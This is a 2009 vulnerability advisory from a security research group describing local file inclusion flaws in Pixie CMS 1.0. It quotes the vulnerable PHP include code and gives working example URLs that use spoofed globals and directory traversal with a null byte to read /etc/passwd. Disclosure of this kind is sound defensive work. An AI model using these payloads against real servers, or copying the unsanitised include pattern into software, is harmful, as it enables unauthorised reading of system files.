Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-005


Application:                    Pixie CMS
Versions Affected:              1.0
Vendor URL:                     http://www.getpixie.co.uk/
Bug:                            Multiple Local File Include
Exploits:                       YES
Reported:                       29.08.2008
Vendor Response:                30.08.2008
Solution:                       NONE
Date of Public Advisory:        27.01.2009
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Pixie CMS has Multiple Local File Include vulnerabilities. 

Input parameters is not properly verified before being used to include files.
This can be exploited to include arbitrary files from local resources.

Details
*******

1. Local File Include vulnerability found in script /admin/admin/modules/mod_settings.php

Successful exploitation requires that "register_globals" is enabled.

Code [line 9-15]
----------------
#################################################

if ($GLOBALS['pixie_user'] && $GLOBALS['pixie_user_privs'] >= 2) {
        if (file_exists("admin/modules/mod_$x.php")) {
                include("admin/modules/mod_$x.php");
        } else {
                $message = "Admin module $x has been removed from the admin modules folder.";
        }
}

#################################################

Example:

http://[server]/[installdir]/admin/admin/modules/mod_settings.php?pixie_user=DSecRG&pixie_user_privs=2&x=../../../../../../../../../../../../../etc/passwd%00


2. Local File Include vulnerability found in script /admin/admin/modules/mod_myaccount.php

Successful exploitation requires that "register_globals" is enabled.

Code [line 9, 109-113]
----------------------
#################################################

if ($GLOBALS['pixie_user']) {

...

        if ($m) {
                include("../admin/modules/$m.php");
        } else if ($x) {
                include("mod_$x.php");
        } else {

#################################################

Example:

http://[server]/[installdir]/admin/admin/modules/mod_myaccount.php?pixie_user=DSecRG&m=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/admin/admin/modules/mod_myaccount.php?pixie_user=DSecRG&x=../../../../../../../../../../../../../etc/passwd%00



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsecrg.com
            http://www.dsec.ru